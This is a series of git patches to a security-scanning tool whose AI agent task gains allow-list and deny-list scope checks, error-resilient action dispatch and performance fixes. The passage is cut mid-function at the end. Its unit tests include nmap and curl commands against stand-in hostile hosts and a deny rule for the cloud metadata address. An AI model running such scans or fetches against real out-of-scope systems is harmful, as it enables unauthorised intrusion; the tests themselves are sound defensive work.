self.assertEqual(sub_context.get('session_id'), 'conv-abc-123') + self.assertEqual(sub_context.get('workspace_id'), 'ws1') + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_preserves_existing_session_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): + """A session_id already present in ctx.context must not be overwritten.""" + mock_build_hooks.return_value = {} + mock_runner = MagicMock() + mock_runner.id = 'runner123' + mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]) + mock_task_cls.return_value = mock_runner + + ctx = ActionContext( + targets=['t.com'], model='m', + context={'workspace_id': 'ws1', 'session_id': 'from-context'}, + session_id='from-ctx-field', + ) + action = {'action': 'task', 'name': 'nmap', 'targets': ['10.0.0.1']} + + list(_run_runner(action, ctx, 'task')) + + _, kwargs = mock_task_cls.call_args + self.assertEqual(kwargs.get('context', {}).get('session_id'), 'from-context') + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestBuildHooksFromContext(unittest.TestCase): From baf30c3be49d590b348cccd9ee19ab9187d30f57 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 24 Jun 2026 19:19:17 +0200 Subject: [PATCH 036/129] feat(ai): constrain ai task to allowed_targets scope MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add an internal `allowed_targets` opt to the `ai` task — a platform-set allow-list of target strings/regexes (e.g. validated workspace mandates). It is marked internal (set by the platform, not the user, like `context`). Wire it into PermissionEngine: when `allowed_targets` is set it forces the target-check step to run and a proposed `target(...)` action is allowed only if the value (or its URL host/host:port components) matches one of the regexes. Deny rules still take precedence. Invalid regexes fall back to a literal (escaped) match. Tests cover literal/regex/url-host matches, out-of-scope constraint, deny precedence, and the invalid-regex fallback. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/guardrails.py | 34 +++++++++++++++++++- secator/tasks/ai.py | 10 +++++- tests/unit/test_ai_guardrails.py | 53 ++++++++++++++++++++++++++++++++ 3 files changed, 95 insertions(+), 2 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 37e21029a..4b7c364d5 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -525,18 +525,39 @@ class PermissionEngine: Two-step validation: (1) action type check, (2) target/path check. """ - def __init__(self, config: Dict, targets: List[str] = None, workspace: str = ""): + def __init__(self, config: Dict, targets: List[str] = None, workspace: str = "", allowed_targets: List[str] = None): self.targets = targets or [] self.workspace = str(workspace) self.rules = {"allow": [], "deny": [], "ask": []} self.runtime_allow: List[Tuple[str, List[str]]] = [] + # Platform-supplied allow-list of target regexes (e.g. validated workspace + # mandates). When set, a `target(...)` action is allowed only if it matches + # one of these regexes — this constrains the AI to the authorized scope. + # Each entry is matched as a regex (full-match), falling back to a literal + # match if the pattern is not valid regex. + self.allowed_targets: List = [] + for pat in (allowed_targets or []): + if not pat: + continue + try: + self.allowed_targets.append(re.compile(pat)) + except re.error: + self.allowed_targets.append(re.compile(re.escape(pat))) + for category in ("allow", "deny", "ask"): for rule_str in config.get(category, []): resolved = self._resolve_variables(rule_str) rule_type, patterns = parse_rule(resolved) self.rules[category].append((rule_type, patterns)) + def _matches_allowed_targets(self, value: str) -> bool: + """Check if a target value matches any platform-supplied allowed_targets regex.""" + for rx in self.allowed_targets: + if rx.fullmatch(value) or rx.match(value): + return True + return False + def _resolve_variables(self, rule: str) -> str: """Replace {workspace} and {targets} variables in a rule string.""" result = rule.replace("{workspace}", self.workspace) @@ -621,6 +642,10 @@ def check_action(self, action: Dict) -> PermissionResult: def _has_rules_for(self, rule_type: str) -> bool: """Check if any rules exist for the given rule type.""" + # Platform-supplied allowed_targets act as a target allow-list: their presence + # forces the target-check step to run so out-of-scope targets get constrained. + if rule_type == "target" and self.allowed_targets: + return True for category in ("allow", "deny", "ask"): for rt, _ in self.rules[category]: if rt == rule_type: @@ -701,6 +726,13 @@ def _check_value(self, rule_type: str, value: str) -> PermissionResult: if match_rule(v, patterns): return PermissionResult(decision="deny", reason=f"Denied by rule: {rule_type}({v})") + # Platform-supplied allowed_targets (regex) allow-list — checked after deny + # (deny still wins) but before config/runtime allow rules. + if rule_type == "target" and self.allowed_targets: + for v in values_to_check: + if self._matches_allowed_targets(v): + return PermissionResult(decision="allow", reason=f"Allowed by mandate: target({v})") + for rt, patterns in self.rules["allow"]: if rt == rule_type: for v in values_to_check: diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 0f7ca0e2d..09c4832e6 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -63,6 +63,12 @@ class ai(PythonRunner): "internal": True, "help": "Context to pass to AI (findings, scope, objective)" }, + "allowed_targets": { + "type": list, + "default": None, + "internal": True, + "help": "Platform-set allow-list of target strings/regexes the AI must stay within (e.g. validated mandates)" # noqa: E501 + }, "subagent": { "is_flag": True, "default": False, @@ -429,6 +435,7 @@ def _init_options(self): self.passed_context = self.run_opts.get("context") or {} self.async_tasks = self.get_opt_value("async_tasks") self.dangerous = self.get_opt_value("dangerous") + self.allowed_targets = self.get_opt_value("allowed_targets") or [] # Interactive mode: "local" / "remote" / "auto" interactive = self.get_opt_value("interactive") @@ -452,7 +459,8 @@ def _init_options(self): self.permission_engine = PermissionEngine( CONFIG.addons.ai.permissions, targets=self.inputs, - workspace=self.reports_folder or "" + workspace=self.reports_folder or "", + allowed_targets=self.allowed_targets, ) # Create interactivity backend diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index a73f9559f..67b040923 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -341,6 +341,59 @@ def test_default_ask_when_no_rules_match(self): self.assertIn("nmap", result.shell_command) +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestAllowedTargets(unittest.TestCase): + """Platform-supplied allowed_targets (e.g. validated mandates) constrain target scope.""" + + def _make_engine(self, allow=None, deny=None, ask=None, targets=None, allowed_targets=None, workspace="/tmp/workspace"): # noqa: E501 + config = {"allow": allow or [], "deny": deny or [], "ask": ask or []} + return PermissionEngine( + config, targets=targets or [], workspace=workspace, allowed_targets=allowed_targets or []) + + def test_allowed_target_literal_match(self): + engine = self._make_engine(allow=["shell(nmap)"], allowed_targets=["example.com"]) + result = engine.check_action({"action": "shell", "command": "nmap example.com"}) + self.assertEqual(result.decision, "allow") + + def test_allowed_target_regex_match(self): + engine = self._make_engine(allow=["shell(nmap)"], allowed_targets=[r".*\.example\.com"]) + result = engine.check_action({"action": "shell", "command": "nmap api.example.com"}) + self.assertEqual(result.decision, "allow") + + def test_target_outside_allowed_targets_is_constrained(self): + """A target not matching any allowed_targets regex must NOT be silently allowed.""" + engine = self._make_engine(allow=["shell(nmap)"], allowed_targets=[r".*\.example\.com"]) + result = engine.check_action({"action": "shell", "command": "nmap evil.attacker.com"}) + self.assertNotEqual(result.decision, "allow") + + def test_allowed_targets_presence_forces_target_check(self): + """Even with no config target rules, allowed_targets makes the target step run.""" + engine = self._make_engine(allow=["task(*)"], allowed_targets=["10.0.0.1"]) + result = engine.check_action({"action": "task", "name": "nmap", "targets": ["8.8.8.8"]}) + self.assertNotEqual(result.decision, "allow") + + def test_allowed_target_task_in_scope(self): + engine = self._make_engine(allow=["task(*)"], allowed_targets=[r"10\.0\.0\.\d+"]) + result = engine.check_action({"action": "task", "name": "nmap", "targets": ["10.0.0.5"]}) + self.assertEqual(result.decision, "allow") + + def test_deny_still_wins_over_allowed_targets(self): + engine = self._make_engine( + allow=["shell(nmap)"], deny=["target(169.254.169.254)"], allowed_targets=[r".*"]) + result = engine.check_action({"action": "shell", "command": "nmap 169.254.169.254"}) + self.assertEqual(result.decision, "deny") + + def test_invalid_regex_falls_back_to_literal(self): + # '[' is invalid regex → treated as a literal string + engine = self._make_engine(allow=["shell(nmap)"], allowed_targets=["host[1"]) + self.assertEqual(len(engine.allowed_targets), 1) + + def test_allowed_target_url_host_component(self): + engine = self._make_engine(allow=["shell(curl)"], allowed_targets=["example.com"]) + result = engine.check_action({"action": "shell", "command": "curl https://example.com/path"}) + self.assertEqual(result.decision, "allow") + + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestTargetPrompt(unittest.TestCase): From e94ef4ab0736eeb205a2fbff19ca9cf59acd6919 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 12:53:34 +0200 Subject: [PATCH 037/129] feat(ai): add denied_targets scope to AI guardrails (deny wins) Symmetric to allowed_targets: PermissionEngine now accepts a platform-set denied_targets list (single/regex patterns). A target(...) value (or its URL host / host:port) matching a denied_targets entry is DENIED, and deny takes precedence over allowed_targets (a target matching both is denied), mirroring the mandate scope matcher's deny-wins. Presence of denied_targets also forces the target-check step on. The ai task gains an internal denied_targets opt that flows to the engine. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/guardrails.py | 41 +++++++++++++++-- secator/tasks/ai.py | 8 ++++ tests/unit/test_ai_guardrails.py | 76 ++++++++++++++++++++++++++++++++ 3 files changed, 121 insertions(+), 4 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 4b7c364d5..5a27c22cf 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -525,7 +525,10 @@ class PermissionEngine: Two-step validation: (1) action type check, (2) target/path check. """ - def __init__(self, config: Dict, targets: List[str] = None, workspace: str = "", allowed_targets: List[str] = None): + def __init__( + self, config: Dict, targets: List[str] = None, workspace: str = "", + allowed_targets: List[str] = None, denied_targets: List[str] = None + ): self.targets = targets or [] self.workspace = str(workspace) self.rules = {"allow": [], "deny": [], "ask": []} @@ -545,6 +548,20 @@ def __init__(self, config: Dict, targets: List[str] = None, workspace: str = "", except re.error: self.allowed_targets.append(re.compile(re.escape(pat))) + # Platform-supplied deny-list of target regexes (e.g. the `deny` scope of + # validated workspace mandates). Symmetric to allowed_targets but DENY WINS: + # a `target(...)` matching one of these is denied even if it also matches an + # allowed_targets entry — mirroring the mandate scope matcher's deny-wins. + # Same regex-or-literal compilation as allowed_targets. + self.denied_targets: List = [] + for pat in (denied_targets or []): + if not pat: + continue + try: + self.denied_targets.append(re.compile(pat)) + except re.error: + self.denied_targets.append(re.compile(re.escape(pat))) + for category in ("allow", "deny", "ask"): for rule_str in config.get(category, []): resolved = self._resolve_variables(rule_str) @@ -558,6 +575,13 @@ def _matches_allowed_targets(self, value: str) -> bool: return True return False + def _matches_denied_targets(self, value: str) -> bool: + """Check if a target value matches any platform-supplied denied_targets regex.""" + for rx in self.denied_targets: + if rx.fullmatch(value) or rx.match(value): + return True + return False + def _resolve_variables(self, rule: str) -> str: """Replace {workspace} and {targets} variables in a rule string.""" result = rule.replace("{workspace}", self.workspace) @@ -642,9 +666,10 @@ def check_action(self, action: Dict) -> PermissionResult: def _has_rules_for(self, rule_type: str) -> bool: """Check if any rules exist for the given rule type.""" - # Platform-supplied allowed_targets act as a target allow-list: their presence - # forces the target-check step to run so out-of-scope targets get constrained. - if rule_type == "target" and self.allowed_targets: + # Platform-supplied allowed_targets / denied_targets act as a target + # allow/deny-list: their presence forces the target-check step to run so + # out-of-scope targets get constrained and denied targets get blocked. + if rule_type == "target" and (self.allowed_targets or self.denied_targets): return True for category in ("allow", "deny", "ask"): for rt, _ in self.rules[category]: @@ -726,6 +751,14 @@ def _check_value(self, rule_type: str, value: str) -> PermissionResult: if match_rule(v, patterns): return PermissionResult(decision="deny", reason=f"Denied by rule: {rule_type}({v})") + # Platform-supplied denied_targets (regex) deny-list — checked before the + # allowed_targets allow-list so DENY WINS: a target matching both an allow + # and a deny mandate scope is denied (mirrors the mandate scope matcher). + if rule_type == "target" and self.denied_targets: + for v in values_to_check: + if self._matches_denied_targets(v): + return PermissionResult(decision="deny", reason=f"Denied by mandate: target({v})") + # Platform-supplied allowed_targets (regex) allow-list — checked after deny # (deny still wins) but before config/runtime allow rules. if rule_type == "target" and self.allowed_targets: diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 09c4832e6..00cb4584b 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -69,6 +69,12 @@ class ai(PythonRunner): "internal": True, "help": "Platform-set allow-list of target strings/regexes the AI must stay within (e.g. validated mandates)" # noqa: E501 }, + "denied_targets": { + "type": list, + "default": None, + "internal": True, + "help": "Platform-set deny-list of target strings/regexes the AI must never touch (deny wins over allowed_targets)" # noqa: E501 + }, "subagent": { "is_flag": True, "default": False, @@ -436,6 +442,7 @@ def _init_options(self): self.async_tasks = self.get_opt_value("async_tasks") self.dangerous = self.get_opt_value("dangerous") self.allowed_targets = self.get_opt_value("allowed_targets") or [] + self.denied_targets = self.get_opt_value("denied_targets") or [] # Interactive mode: "local" / "remote" / "auto" interactive = self.get_opt_value("interactive") @@ -461,6 +468,7 @@ def _init_options(self): targets=self.inputs, workspace=self.reports_folder or "", allowed_targets=self.allowed_targets, + denied_targets=self.denied_targets, ) # Create interactivity backend diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index 67b040923..275de28f4 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -394,6 +394,82 @@ def test_allowed_target_url_host_component(self): self.assertEqual(result.decision, "allow") +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestDeniedTargets(unittest.TestCase): + """Platform-supplied denied_targets (e.g. mandate deny scope) block target scope. Deny wins.""" + + def _make_engine(self, allow=None, deny=None, ask=None, targets=None, allowed_targets=None, # noqa: E501 + denied_targets=None, workspace="/tmp/workspace"): + config = {"allow": allow or [], "deny": deny or [], "ask": ask or []} + return PermissionEngine( + config, targets=targets or [], workspace=workspace, + allowed_targets=allowed_targets or [], denied_targets=denied_targets or []) + + def test_denied_target_literal_match(self): + # IP targets are extracted without DNS, so deny applies directly. + engine = self._make_engine(allow=["shell(nmap)"], denied_targets=["10.0.0.1"]) + result = engine.check_action({"action": "shell", "command": "nmap 10.0.0.1"}) + self.assertEqual(result.decision, "deny") + + def test_denied_target_regex_match(self): + # Hostnames are only extracted if they resolve — patch DNS so the host is seen. + engine = self._make_engine(allow=["shell(nmap)"], denied_targets=[r".*\.evil\.com"]) + with patch("secator.ai.guardrails._resolves", return_value=True): + result = engine.check_action({"action": "shell", "command": "nmap api.evil.com"}) + self.assertEqual(result.decision, "deny") + + def test_deny_wins_over_allow_when_target_matches_both(self): + """A target matching BOTH allowed_targets and denied_targets must be DENIED.""" + engine = self._make_engine( + allow=["shell(nmap)"], allowed_targets=[r".*\.example\.com"], denied_targets=[r"admin\.example\.com"]) + with patch("secator.ai.guardrails._resolves", return_value=True): + result = engine.check_action({"action": "shell", "command": "nmap admin.example.com"}) + self.assertEqual(result.decision, "deny") + + def test_deny_wins_over_allow_at_check_value_level(self): + """Unit-level deny-wins: _check_value denies a target in both allow + deny lists.""" + engine = self._make_engine( + allow=["shell(nmap)"], allowed_targets=[r".*"], denied_targets=[r"169\.254\.169\.254"]) + result = engine._check_value("target", "169.254.169.254") + self.assertEqual(result.decision, "deny") + + def test_allow_only_target_is_allowed(self): + """allow-only (in allowed, not in denied) → allowed.""" + engine = self._make_engine( + allow=["shell(nmap)"], allowed_targets=[r".*"], denied_targets=[r"169\.254\.169\.254"]) + result = engine._check_value("target", "10.0.0.5") + self.assertEqual(result.decision, "allow") + + def test_deny_only_target_is_denied(self): + """deny-only (matches denied, no allowed entries) → denied.""" + engine = self._make_engine(allow=["shell(nmap)"], denied_targets=[r"10\.0\.0\.1"]) + result = engine.check_action({"action": "shell", "command": "nmap 10.0.0.1"}) + self.assertEqual(result.decision, "deny") + + def test_denied_targets_presence_forces_target_check(self): + """Even with no config target rules, denied_targets makes the target step run.""" + engine = self._make_engine(allow=["task(*)"], denied_targets=["10.0.0.1"]) + result = engine.check_action({"action": "task", "name": "nmap", "targets": ["10.0.0.1"]}) + self.assertEqual(result.decision, "deny") + + def test_denied_target_task_in_deny_scope(self): + engine = self._make_engine( + allow=["task(*)"], allowed_targets=[r"10\.0\.0\.\d+"], denied_targets=[r"10\.0\.0\.1"]) + result = engine.check_action({"action": "task", "name": "nmap", "targets": ["10.0.0.1"]}) + self.assertEqual(result.decision, "deny") + + def test_denied_target_url_host_component(self): + engine = self._make_engine(allow=["shell(curl)"], denied_targets=["evil.com"]) + with patch("secator.ai.guardrails._resolves", return_value=True): + result = engine.check_action({"action": "shell", "command": "curl https://evil.com/path"}) + self.assertEqual(result.decision, "deny") + + def test_invalid_regex_falls_back_to_literal(self): + # '[' is invalid regex → treated as a literal string + engine = self._make_engine(allow=["shell(nmap)"], denied_targets=["host[1"]) + self.assertEqual(len(engine.denied_targets), 1) + + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestTargetPrompt(unittest.TestCase): From eae011af31f5176e997d54b7cb89cff5b0d03212 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 18:44:08 +0200 Subject: [PATCH 038/129] fix(ai): keep the AI loop alive when an action dispatch raises MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A Python error during an iteration (e.g. TypeError: 'str' object is not a mapping from a malformed LLM action/opts) previously propagated out of _dispatch_and_collect, was caught by the loop's broad except Exception, and killed the task. Now each action's dispatch is wrapped so the failure becomes that tool call's result fed back to the LLM, and the loop continues. - Add safe_dispatch_action(): wraps dispatch_action and, on Exception, yields an Error carrying the action's tool_call_id/tool_call_name in _context. Only Exception is caught — KeyboardInterrupt/SystemExit/GeneratorExit propagate. - The Error groups into a tool result via the existing format_tool_result / add_tool_result path, so the model sees "Action failed with error: : \n. Fix the issue and try again." next turn. - Use safe_dispatch_action for the single-action path in _dispatch_and_collect and inside _run_batch's run_single, so one action's failure no longer aborts the turn or the other batch actions. - max_iterations still bounds a persistently-erroring model: each failed turn increments the iteration counter as before. - Drop a pre-existing unused follow_up_ai assignment to keep flake8 green. - Tests: a raising handler yields an Error, appends the error to history (LLM-visible), and continues without raising; KeyboardInterrupt propagates. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/actions.py | 60 ++++++++++++++++++- secator/tasks/ai.py | 11 ++-- tests/unit/test_ai_loop.py | 115 ++++++++++++++++++++++++++++++++++++- 3 files changed, 180 insertions(+), 6 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 03a117edd..110e935f0 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -306,6 +306,60 @@ def dispatch_action(action: Dict, ctx: ActionContext) -> Generator: yield Warning(message=f"Unknown action: {action_type}", _context=context) +def _format_action_error(e: Exception, max_chars: int = 400) -> str: + """Build a concise, LLM-facing error string for a failed action dispatch. + + Combines the exception type + message with the last few traceback frames so + the model can see *where* it failed, then truncates to a sane length so a + deep traceback can't blow up the next prompt's token budget. + """ + import traceback + + errtype = type(e).__name__ + msg = str(e) + head = f"{errtype}: {msg}" if msg else errtype + + # Keep only the tail of the traceback (last ~3 frames) — that's where the + # actual failure is, and it keeps the feedback compact. + tb_lines = traceback.format_exc().strip().splitlines() + tb_tail = "\n".join(tb_lines[-6:]) if tb_lines else "" + + detail = f"{head}\n{tb_tail}" if tb_tail else head + if len(detail) > max_chars: + detail = detail[:max_chars] + "…(truncated)" + return ( + f"Action failed with error: {detail}\n" + "Fix the issue and try again." + ) + + +def safe_dispatch_action(action: Dict, ctx: ActionContext) -> Generator: + """Dispatch a single action, converting any raised ``Exception`` into an + ``Error`` output item instead of letting it abort the AI loop. + + A Python error during a handler (e.g. ``TypeError: 'str' object is not a + mapping`` from a malformed LLM action/opts) must NOT kill the main loop. We + wrap the per-action generator so the failure becomes an ``Error`` carrying + the action's ``tool_call_id``/``tool_call_name`` in ``_context`` — that lets + the caller group it into a tool result and feed the error back to the LLM so + it can correct itself on the next turn. + + Only ``Exception`` is caught: ``KeyboardInterrupt`` / ``SystemExit`` / + ``GeneratorExit`` (all ``BaseException`` subclasses) propagate so legitimate + control-flow and generator close are never swallowed. + """ + import traceback as _traceback + try: + yield from dispatch_action(action, ctx) + except Exception as e: # noqa: BLE001 - per-action resilience: feed error back to LLM, never abort the loop + context = _get_result_context(action, ctx) + yield Error( + message=_format_action_error(e), + traceback=_traceback.format_exc(), + _context=context, + ) + + def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator: """Execute a secator task or workflow. @@ -789,8 +843,12 @@ def _run_batch(actions: List[Dict], ctx: ActionContext) -> Generator: progress_ids = {} def run_single(act: Dict, idx: int) -> Dict: + # Use safe_dispatch_action so one action raising doesn't abort the whole + # batch (the executor future.result() would otherwise re-raise into the + # main loop). The error is captured as an Error item attributed to that + # action's tool_call_id and fed back to the LLM like any other result. results = [] - for item in dispatch_action(act, batch_ctx): + for item in safe_dispatch_action(act, batch_ctx): if isinstance(item, Ai) and item.ai_type == "token_usage": if progress: extra = item.extra_data or {} diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 3d7423426..cc1e9f74b 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -16,7 +16,7 @@ from secator.runners import PythonRunner from secator.rich import console, maybe_status from secator.ai.actions import ( - ActionContext, check_guardrails, dispatch_action, _run_batch, _decrypt_dict, _build_action_display + ActionContext, check_guardrails, safe_dispatch_action, _run_batch, _decrypt_dict, _build_action_display ) from secator.ai.guardrails import PermissionEngine from secator.ai.interactivity import create_backend, RemoteBackend @@ -408,7 +408,6 @@ def _run_loop(self) -> Generator: # Process tool calls → validated actions follow_up_choices = None stop_reason = None - follow_up_ai = None follow_up_prompt_uuid = None if tool_calls: @@ -425,7 +424,6 @@ def _run_loop(self) -> Generator: dispatch_result = yield from self._dispatch_and_collect(actions, ctx) follow_up_choices = dispatch_result.get("follow_up_choices") stop_reason = dispatch_result.get("stop_reason") - follow_up_ai = dispatch_result.get("follow_up_ai") follow_up_prompt_uuid = dispatch_result.get("follow_up_prompt_uuid") if len(actions) > 1: @@ -804,7 +802,12 @@ def _dispatch_and_collect(self, actions, ctx): follow_up_prompt_uuid = None is_batch = len(actions) > 1 - action_iter = _run_batch(actions, ctx) if is_batch else dispatch_action(actions[0], ctx) + # safe_dispatch_action wraps each action's dispatch so a Python error during + # a handler (e.g. a malformed LLM action/opts raising TypeError) becomes an + # Error item fed back to the LLM as that tool call's result, instead of + # propagating out and killing the main loop. _run_batch already wraps each + # of its actions the same way internally. + action_iter = _run_batch(actions, ctx) if is_batch else safe_dispatch_action(actions[0], ctx) collected = [] for result in action_iter: diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index bbc3a0cd1..b628bc1f6 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -355,7 +355,7 @@ def add_tool_result(self, *a, **k): def _fake_dispatch_action(action, c): yield follow_up - with patch("secator.tasks.ai.dispatch_action", _fake_dispatch_action): + with patch("secator.tasks.ai.safe_dispatch_action", _fake_dispatch_action): gen = AiTask._dispatch_and_collect(fake_self, [{"tool_call_id": "tc_fu"}], ctx) yielded = list(gen) return yielded, persisted, follow_up @@ -1015,5 +1015,118 @@ def test_multi_turn_auto_loop(self): self.assertIsNotNone(stop_reason) +@unittest.skipUnless(HAS_AI, "ai addon required") +class TestLoopResilientToActionErrors(unittest.TestCase): + """A Python error during an action dispatch must NOT kill the main loop. + + It must be caught, turned into an Error item fed back to the LLM as that + tool call's result, and the loop must continue. + """ + + def test_safe_dispatch_catches_exception_and_feeds_back(self): + """safe_dispatch_action converts a raised Exception into an Error item + carrying the action's tool_call_id, instead of propagating.""" + from secator.ai.actions import safe_dispatch_action + from secator.output_types import Error + + ctx = _make_ctx(interactive="auto") + action = { + "action": "shell", + "command": "curl http://10.0.0.1", + "tool_call_id": "tc_err", + "tool_call_name": "run_shell", + } + + # Make the shell handler raise the exact failure from the spec. + def _boom(*a, **k): + raise TypeError("'str' object is not a mapping") + + with patch("secator.ai.actions._handle_shell", _boom): + # Must NOT raise. + results = list(safe_dispatch_action(action, ctx)) + + errors = [r for r in results if isinstance(r, Error)] + self.assertEqual(len(errors), 1, "expected exactly one Error item") + err = errors[0] + # LLM-facing feedback phrasing + the exception type/message. + self.assertIn("Action failed with error", err.message) + self.assertIn("TypeError", err.message) + self.assertIn("'str' object is not a mapping", err.message) + self.assertIn("try again", err.message.lower()) + # Attributed to the failing tool call so it groups into that tool result. + self.assertEqual(err._context.get("tool_call_id"), "tc_err") + self.assertEqual(err._context.get("tool_call_name"), "run_shell") + + def test_does_not_catch_keyboardinterrupt(self): + """Control-flow exceptions (BaseException) must propagate, not be swallowed.""" + from secator.ai.actions import safe_dispatch_action + + ctx = _make_ctx(interactive="auto") + action = {"action": "shell", "command": "x", "tool_call_id": "tc", "tool_call_name": "run_shell"} + + def _interrupt(*a, **k): + raise KeyboardInterrupt() + yield # pragma: no cover - make it a generator + + with patch("secator.ai.actions._handle_shell", _interrupt): + with self.assertRaises(KeyboardInterrupt): + list(safe_dispatch_action(action, ctx)) + + def test_dispatch_and_collect_continues_and_feeds_history(self): + """Drive the real _dispatch_and_collect: a raising action yields an Error, + appends an error result to history (LLM-visible), and does NOT raise.""" + from secator.tasks.ai import ai as AiTask + from secator.output_types import Error + + tool_results = [] # (name, tc_id, content) tuples appended to history + + class _FakeHistory: + def get_action_budget(self, model): + return 10000 + + def add_tool_result(self, name, tc_id, content): + tool_results.append((name, tc_id, content)) + + persisted = [] + fake_self = MagicMock() + fake_self.backend = CLIBackend() + fake_self.session_id = "sess-err" + fake_self.model = "test-model" + fake_self.reports_folder = None + fake_self.encryptor = None + fake_self.history = _FakeHistory() + fake_self.add_result = lambda item, **kw: persisted.append(item) + + ctx = MagicMock() + ctx.results = [] + + action = { + "action": "shell", + "command": "curl http://10.0.0.1", + "tool_call_id": "tc_err", + "tool_call_name": "run_shell", + } + + def _boom(*a, **k): + raise TypeError("'str' object is not a mapping") + yield # pragma: no cover + + with patch("secator.ai.actions._handle_shell", _boom): + # Single action → safe_dispatch_action path. Must not raise. + gen = AiTask._dispatch_and_collect(fake_self, [action], ctx) + yielded = list(gen) + + # An Error item was yielded to the caller (visible in console / persisted). + errors = [r for r in yielded if isinstance(r, Error)] + self.assertEqual(len(errors), 1) + + # The error reached the LLM-visible history as this tool call's result. + self.assertEqual(len(tool_results), 1) + name, tc_id, content = tool_results[0] + self.assertEqual(tc_id, "tc_err") + self.assertIn("error", content.lower()) + self.assertIn("'str' object is not a mapping", content) + + if __name__ == "__main__": unittest.main() From 8ad57b33ad2ca8c43eaf96df6980d0db9a8b6543 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 18:50:13 +0200 Subject: [PATCH 039/129] perf(output-types): cache keys() + O(1) deduplicate membership check MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit OutputType.keys() recomputed fields() on every call (~336k× in one dynamic-target workflow run, profiled). Cache it (lru_cache, constant per class) and return a tuple. In deduplicate(), replace the per-item `attr in sub.keys()` scan with O(1) hasattr(). ~18% faster on an 8k-finding targets_ workflow, growing with N (keys() was part of the quadratic). Structural fan-out fix + content cache-key dedup tracked separately. --- secator/output_types/_base.py | 7 ++++++- secator/utils.py | 4 +++- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/secator/output_types/_base.py b/secator/output_types/_base.py index e62666505..ba658a274 100644 --- a/secator/output_types/_base.py +++ b/secator/output_types/_base.py @@ -1,5 +1,6 @@ import logging import re +from functools import lru_cache from dataclasses import _MISSING_TYPE, dataclass, fields from secator.definitions import DEBUG from secator.rich import console @@ -130,8 +131,12 @@ def get_name(cls): return re.sub(r'(? Date: Thu, 25 Jun 2026 19:31:35 +0200 Subject: [PATCH 040/129] fix(ai): dispatch heavy sub-tasks async instead of running them in-process MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The ai task runs sub-runners sync in-process (yield from runner). On a worker the ai runs on the small-fast pool (~1Gi); a heavy sub-task like nuclei (profile extra_large) run in-process there OOM-kills the worker — observed as OOMKilled(137) across the pool, with the nuclei doc orphaned (no celery_id) and the ai's own message stuck unacked. Gate it: when inside a worker (IN_WORKER), a large/extra_large task — or any workflow/scan, which fans out across pools — is dispatched async to its own profile's queue instead of running in the ai worker; the ai still waits by iterating results. Light tasks and local (non-worker) runs keep sync in-process. Dynamic (callable) profiles are resolved with the opts, mirroring Command.s/si. --- secator/ai/actions.py | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 110e935f0..ba191ceaa 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -360,6 +360,31 @@ def safe_dispatch_action(action: Dict, ctx: ActionContext) -> Generator: ) +_HEAVY_PROFILES = {'large', 'extra_large'} + + +def _is_heavy_runner(runner_type: str, name: str, opts: dict = None) -> bool: + """Whether a sub-runner is too heavy to run sync in-process inside the ai worker. + + Workflows/scans fan out across multiple pools, so they should always be + dispatched rather than run in-process. A task is heavy if its (possibly + opts-dependent) profile maps to a large worker pool (``large``/``extra_large``). + """ + if runner_type != 'task': + return True + try: + cls = Task.get_task_class(name) + except Exception: + return False + profile = getattr(cls, 'profile', 'small') + if callable(profile): + try: + profile = profile(opts or {}) # resolve dynamic profile 